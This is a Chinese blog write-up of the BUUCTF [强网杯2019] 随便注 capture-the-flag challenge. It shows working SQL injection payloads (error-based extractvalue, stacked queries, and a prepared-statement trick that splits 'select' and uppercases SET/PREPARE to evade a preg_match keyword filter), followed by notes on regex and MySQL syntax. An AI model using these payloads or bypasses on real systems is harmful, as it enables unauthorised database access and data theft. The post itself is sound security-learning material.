BUUCTF [强网杯2019] 随便注

一、解题过程

  打开后的界面

  先看一下页面源码是否隐藏着什么提示

  结果发现什么都没有,尝试提交

  可以看到实际上是get提交,并且返回了数组的枚举信息

 

   发现只有当inject=1或者2时才存在返回信息。

  老方法先尝试添加一个单引号看看是否存在注入,结果发现有报错信息,是一个单引号的字符型注入。

  因为存在返回信息所以想着可能是个回显注入,先查看一共有几列:

1' order by 2#  共2列

3' union select 1,2#  确认一下回显位置,结果发现了正则过滤

 

  可以看到图中的preg_match函数,对select、update、delete等关键字进行了正则过滤,大小写不敏感,无法使用大小写进行绕过。但是可以发现这个过滤并不是很全,从前面的步骤中可以看到SQL语句的报错信息是可以返回到页面中来的,所以也许能用报错注入绕过这个函数的过滤。

1' and extractvalue(1, concat(0x7e,database(),0x7e))#

  数据库名被成功注出,叫做"supersqli",接着发现当前数据库用户是root。但接下来要注表名、列名和内容的时候避不开要使用select,没见过preg_match并且不了解正则的我就卡在了这里,结果完全忘记尝试堆查询。

  看了其他师傅的wp发现原来堆查询还可以这样写:

0';show databases;#
0';show tables;#
0';show columns from `1919810931114514`;#  
//注意:这里表名要用反单引号`把表名括起来

 

  随后就在名为“1919810931114514”的表中看到了flag字段~ 

  PS:不过show columns只能看到列名无法看到内容  

  接下来这里用到一个新的学习内容:SQL预处理语句

0';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

  没有成功,原因是set和prepare被strstr()过滤了,但是don't worry它是大小写敏感的过滤函数,只需把过滤关键字大写就OK。

0';SET @a=concat("sel","ect flag from `1919810931114514`");PREPARE hello from @a;execute hello;#

  这样flag就出来辣!

二、知识点

1、正则表达式

  正则表达式是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为“元字符”)。模式描述在搜索文本时要匹配的一个或多个字符串。

  想要看懂正则表达式,就需要先了解正则表达式的语法。

正则表达式基本语法详解_正则表达式_脚本之家 (jb51.net)

 2、preg_match()函数

(1)语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
  • $pattern: 要搜索的模式,字符串形式。

  • $subject: 输入字符串。

  • $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

  • $flags:可设置标记值
  • $offset: 通常,搜索会从目标字符串的起始位置开始。可选参数 offset 用于指定从目标字符串的某个位置开始搜索(单位是字节)。
  • 返回值:返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

(2)查找字符串

  利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。

<?php 
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索 
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
     echo "A match was found"; 
} else {
     echo "A match was not found"; } 
?>

  本题中显示的preg_match的意思为,如果检测到语句中有select或update或...\.等关键字、符号(大小写不敏感)时,进行拦截。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

(3)查找单词

<?php 
/* 模式中的\b标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配单词的部分内容比如"webbing" 或 "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.\n"; 
} else {
    echo "A match was not found\n"; 
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "查找到匹配的字符串。\n"; 
} else {
    echo "未发现匹配的字符串。\n"; 
} 
?>

(4)获取url中的域名

<?php
// 从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',"http://www.codercto.com/index.html", $matches);
$host = $matches[1]; 

// 获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

3、SQL语句中的反单引号`

mysql中引号的用法(反引号``,单引号'',双引号"") - 坚持一点点 - 博客园 (cnblogs.com)

反引号:它是为了区分mysql的保留字与普通字符而引入的符号。也就是说如果要用mysql保留字段做表名和字段名的时候,必须加上反引号来区分,如:`select`

  在解题的堆查询注入中,查询表中字段名称的语句一直无法正确执行(0';show columns from '1919810931114514';#),对照了一下别的师傅的wp,发现原来我用的是单引号,而师傅的是返单引号。但1919810931114514并不是mysql的保留字段啊?

  于是我查了一下mysql的表名是否可以是纯数字。

 

  这样就清晰了。

 

 4、SQL预处理语句

PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用

EXECUTE :执行命令

DEALLOCATE PREPARE:释放命令

用法:

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name    [USING @var_name [, @var_name] ...] 

{DEALLOCATE | DROP} PREPARE stmt_name

举个栗子:

  确实就像个函数一样,prepare准备了一个函数的定义(是个大框架),set用来设置函数的参数值,execute传参并执行函数。用完了要记得释放:

deallocate prepare study;

  也可以像本题目的wp一样,set直接设定好整个SQL语句并将其赋值给变量如@a,prepare study from @a即可。

  参考的文章:

 buuctf | [强网杯 2019]随便注 - laolao - 博客园 (cnblogs.com)

posted @ 2021-10-25 16:45  H2OH2OH2O  阅读(723)  评论(0)    收藏  举报